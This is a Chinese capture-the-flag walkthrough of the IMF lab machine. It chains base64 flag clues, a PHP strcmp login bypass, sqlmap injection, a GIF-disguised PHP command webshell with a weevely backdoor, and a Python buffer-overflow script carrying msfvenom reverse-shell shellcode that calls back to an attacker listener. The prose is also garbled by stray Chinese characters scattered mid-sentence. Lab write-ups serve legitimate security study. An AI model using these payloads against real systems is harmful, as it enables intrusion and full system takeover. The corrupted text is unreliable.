寫在前面
看作者描述,這臺(tái)靶機(jī)每個(gè)flag都有通向下個(gè)flag的提示,因此要多思考作者留下的線索抽米。
信息收集
探測(cè)靶機(jī)IPnetdiiscover
確定靶機(jī)IP為:192.168.1.107
查看靶機(jī)開啟服務(wù):nmap -sS -sV -T5 192.168.1.107
發(fā)現(xiàn)只開啟了http服務(wù)
枚舉
打開首頁(yè)是這樣子的
只有三個(gè)頁(yè)面特占,逐個(gè)頁(yè)面查看網(wǎng)頁(yè)源代碼,在contact.php里發(fā)現(xiàn)flag1
找到flag1{YWxsdGhlZmlsZXM=}
flag里面的值看起來像是base64云茸,解出來一看是目,發(fā)現(xiàn)真的是base64加密,解密為:
allthefiles
直譯就是全部文件标捺,到底是什么意思懊纳,也糾結(jié)了挺久,后來繼續(xù)查看網(wǎng)頁(yè)源代碼亡容,發(fā)現(xiàn)這三個(gè)文件的名字有點(diǎn)可疑
文件名字看上去都是密文嗤疯,拼接到一起后的完整密文為:
ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
base64解密后:
找到flag2{aW1mYWRtaW5pc3RyYXRvcg==}
flag2里面的值,解密以后是字符串:
imfadministrator
看上去像是一個(gè)目錄闺兢,瀏覽器打開為:
看上去像是需要爆破這個(gè)登錄信息茂缚。
隨便輸入admin:123456,提示了兩個(gè)信息
invalid username屋谭,直接告訴我們用戶名是錯(cuò)誤的脚囊,也就是說我們可以先爆破看看有什么用戶名
I couldn't get the SQL working, so I hard-coded the password. It's still mad secure through. - Roger
hard-coded the password就是把密碼直接寫在了代碼里,不經(jīng)過數(shù)據(jù)庫(kù)戴而,也就是說不用考慮sql注入
關(guān)于用戶名凑术,在contact.php這個(gè)頁(yè)面里已經(jīng)給出了幾個(gè)待選的賬號(hào)
這里我們至少可以做一個(gè)用戶字典,包括:
Roger S. Michaels
rmichaels@imf.local
rmichaels
Alexander B. Keith
akeith@imf.local
akeith
Elizabeth R. Stone
estone@imf.local
estone
由于字典數(shù)目不多所意,我們大可手動(dòng)測(cè)試淮逊,最后測(cè)試rmichaels這個(gè)用戶名返回的值跟其他幾個(gè)賬號(hào)都不一樣
現(xiàn)在我們可以確定這個(gè)后臺(tái)的一個(gè)賬號(hào)為:rmichaels
一般這種時(shí)候就用burpsuite了,事實(shí)上我一開始也是這個(gè)思路扶踊,爆破了一個(gè)多小時(shí)以后泄鹏,我依然沒有得到密碼,這個(gè)時(shí)候我就想會(huì)不會(huì)思路錯(cuò)了秧耗。一般而言备籽,這些靶機(jī)如果想考你爆破,常規(guī)字典最多十幾分鐘就能跑出來了分井,跑這么久密碼還沒出來那應(yīng)該不是考爆破车猬。吐槽一下,打靶機(jī)以來我就沒用過burpsuite成功爆破過后臺(tái)的尺锚。珠闰。。
這里我卡了蠻久瘫辩,后來還是看了大佬的提示伏嗜,原來pass字段傳一個(gè)空數(shù)組能爆出flag3
我他媽坛悉。。承绸。
找到flag3{Y29udGludWVUT2Ntcw==}
解出來是:continueTOcms
回到頁(yè)面繼續(xù)cms操作裸影,點(diǎn)擊IMF CMS
進(jìn)去發(fā)現(xiàn)只有三個(gè)頁(yè)面,查看源碼沒發(fā)現(xiàn)有什么特別的東西军熏,于是嘗試修改get參數(shù)轩猩,發(fā)現(xiàn)好像有注入點(diǎn)
把burpsuite里的http訪問內(nèi)容保存成一個(gè)文件
用sqlmap嘗試注入,發(fā)現(xiàn)果然可以注入
sqlmap -r imf.txt -p "pagename" --dbms=mysql --batch --level=3 --risk=3 --random-agent
打開admin數(shù)據(jù)庫(kù)里的pages表荡澎,發(fā)現(xiàn)一個(gè)可疑的文件
sqlmap -r imf.txt -p "pagename" --dbms=mysql --batch --random-agent --technique B -D admin -T pages --dump
打開這個(gè)圖片的鏈接界轩,發(fā)現(xiàn)是一個(gè)二維碼,簡(jiǎn)書不可以貼二維碼衔瓮,就不貼圖了
路徑:http://192.168.1.107/imfadministrator/images/whiteboard.jpg
用手機(jī)微信掃一下浊猾,得到flag4
找到flag4{dXBsb2Fkcjk0Mi5waHA=}、
密文解出來是:uploadr942.php
在url打開這個(gè)文件热鞍,發(fā)現(xiàn)一個(gè)上傳點(diǎn):
嘗試上傳一個(gè)圖片文件葫慎,發(fā)現(xiàn)回顯了一個(gè)字符串
經(jīng)過驗(yàn)證是上傳后的文件名
到這里思路就很明顯了,上傳一個(gè)webshell薇宠,繞過上傳驗(yàn)證即可偷办。(uploads這個(gè)文件夾可通過目錄爆破得到,或者自己猜出來澄港,這里不贅敘)
燃鵝椒涯,這個(gè)上傳限制,不但限制了文件類型回梧,文件后綴還有一個(gè)waf會(huì)檢測(cè)文件的內(nèi)容是否有特殊的php函數(shù)废岂,比較坑爹。這里還是要參考大佬的繞過方法狱意,這個(gè)方法我在upload lab里沒有遇到過湖苞,算是邊學(xué)邊練了。
構(gòu)造一個(gè)文件:
GIF
<?php
$c = $_GET[c];
echo `$c`;
?>
第一行的GIF是為了繞過內(nèi)容限制
然后把文件名字改成.gif結(jié)尾详囤,就可以像php文件一樣執(zhí)行财骨,我猜這應(yīng)該是利用了apache的某個(gè)文件解析漏洞?
上傳以后根據(jù)回顯的文件名藏姐,在url里訪問:
c后面的參數(shù)可以執(zhí)行任意命令隆箩,遍歷uploads里面的文件,拿到flag5
找到flag5{YWdlbnRzZXJ2aWNlcw==}
flag5解出來是:agentservices
雖然可以在url上直接運(yùn)行命令羔杨,但是還是比較難使用的捌臊,我們需要有一個(gè)webshell,可以用weevely生成一個(gè)
weevely generate pass shell.php
pass是連接的密碼问畅,shell.php是生成的木馬文件名字娃属。由于靶機(jī)只能接收jpg/png/gif等格式的文件上傳,所以我們這里需要把生成的木馬文件改為gif后綴护姆,以及在第一行添加GIF字樣以繞過靶機(jī)的文件內(nèi)容限制矾端。
上傳完成,拿到生成的文件名字卵皂,用weevely連接靶機(jī)
weevely http://192.168.3.150/imfadministrator/uploads/da380a0441c6.gif pass
上面的命令第一個(gè)參數(shù)是木馬地址秩铆,第二個(gè)參數(shù)是連接密碼,我們拿到一個(gè)webshell
因?yàn)閒lag5提示我們留意agentservice服務(wù)灯变,用netstat -ant
查看本機(jī)服務(wù)
可以看到本地監(jiān)聽了一個(gè)7788端口殴玛,應(yīng)該就是對(duì)應(yīng)的agent服務(wù)
我們用whereis agent查看agent安裝在哪個(gè)位置
去到/usr/local/bin/目錄,發(fā)現(xiàn)有兩個(gè)文件添祸,查看access_code滚粟,顯示
SYN 7482,8279,9467
上面信息收集的時(shí)候用nmap沒有探測(cè)到7788這個(gè)端口,需要用konck敲開
把靶機(jī)上的agent文件下載到本地刃泌,執(zhí)行
file_download /usr/local/bin/agent /root/agent
file命令查看文件凡壤,確認(rèn)agent是ELF32位文件,這一步主要是下面生成shellcode的時(shí)候需要知道靶機(jī)是x86還是x64
給agent文件提權(quán)耙替,嘗試執(zhí)行
提示Invalid Agent ID亚侠,那么也就是需要找到一個(gè)正確的Agent ID
用ltrace命令跟蹤進(jìn)程調(diào)用庫(kù)函數(shù),fgets函數(shù)輸入任意值(可試多幾次)俗扇,每次均顯示strncmp("任意值\n", "48093572", 8)這行代碼硝烂,看意思應(yīng)該是拿我們的輸入跟48093572這個(gè)值比對(duì),如果不正確就返回Invalid Agent ID铜幽。那么也就是說48093572就是我們需要的agentid
用得到的agentid嘗試執(zhí)行agent程序滞谢,果然返回了操作menu
這里其實(shí)考察的是緩沖區(qū)溢出,我們用msfvenom來編譯一個(gè)shellcode
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.3.67 LPORT=6666 -f python -b "\x00\x0a\x0b"
把上面顯示的buf復(fù)制粘貼到下面的python代碼中:
import socket
# Target related variables
remotehost = "192.168.3.150"
remoteport = 7788
menuoption = 3
agentid = 48093572
# Default recv size
recvsize = 512
# Connnect to remote host
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((remotehost, remoteport))
client.recv(recvsize)
client.send("{0}\n".format(agentid))
client.recv(recvsize)
client.send("{0}\n".format(menuoption))
client.recv(recvsize)
# Payload genereated by Msfvenom, to be force fed into reporting tool
buf = b""
buf += b"\xd9\xc8\xd9\x74\x24\xf4\x5f\xbb\xdd\x1b\x6a\x46\x29"
buf += b"\xc9\xb1\x12\x83\xef\xfc\x31\x5f\x13\x03\x82\x08\x88"
buf += b"\xb3\x0d\xf4\xbb\xdf\x3e\x49\x17\x4a\xc2\xc4\x76\x3a"
buf += b"\xa4\x1b\xf8\xa8\x71\x14\xc6\x03\x01\x1d\x40\x65\x69"
buf += b"\x5e\x1a\x96\x2a\x36\x59\x99\xb6\xcc\xd4\x78\x76\xb6"
buf += b"\xb6\x2b\x25\x84\x34\x45\x28\x27\xba\x07\xc2\xd6\x94"
buf += b"\xd4\x7a\x4f\xc4\x35\x18\xe6\x93\xa9\x8e\xab\x2a\xcc"
buf += b"\x9e\x47\xe0\x8f"
# Buffer is too small to trigger overflow. Fattening it up!
# 168 is the offset I found using pattern_offset
buf += "A" * (168 - len(buf))
# EAX call I made note of earlier in this segment
buf += "\x63\x85\x04\x08\n"
# And off we go!
client.send(buf)
在kali開啟一個(gè)監(jiān)聽除抛,輸入:nc -lvp 6666
執(zhí)行上面的python代碼爹凹,成功得到一個(gè)root shell
拿到flag6{R2gwc3RQcm90MGMwbHM=}
總結(jié)
非常精彩的靶機(jī),涵蓋了很多知識(shí)點(diǎn)镶殷,難怪作者希望做的人能過learn something禾酱。
我目前還沒有學(xué)到緩沖區(qū)溢出,這臺(tái)算是找了找感覺绘趋,后面要好好學(xué)習(xí)一下這塊颤陶。
上傳限制繞過那里應(yīng)該是利用apache的文件解析漏洞,如果我理解錯(cuò)了陷遮,請(qǐng)不吝賜教滓走。
后面回查了上傳限制的代碼,果然用了白名單帽馋,那當(dāng)然比黑名單限制就安全的多搅方,下次再遇到這種情況比吭,可以參考文件解析這個(gè)思路。姨涡。衩藤。
關(guān)于爆破密碼,回看了靶機(jī)的源代碼涛漂,密碼設(shè)置的非常的長(zhǎng)赏表,可以說是不可能被爆破
每一次請(qǐng)求都sleep了3秒,注釋也是說不要嘗試爆破匈仗。下次如果十幾分鐘還沒爆出密碼來趕緊換思路瓢剿。。悠轩。间狂。
在密碼比較判斷的時(shí)候,用了strcmp函數(shù)火架,strcmp的方法是比較傳入的兩個(gè)字符串前标,第一個(gè)參數(shù)是源串,第二個(gè)參數(shù)是比較的字符串距潘,如果相等則返回0炼列。然而這是理想的結(jié)果,由于php是弱類型語(yǔ)言音比,而傳進(jìn)來的pass也沒有任何的校驗(yàn)俭尖,當(dāng)pass的值是一個(gè)空數(shù)組時(shí)依然會(huì)返回比對(duì)成功,也算是php的一個(gè)坑洞翩。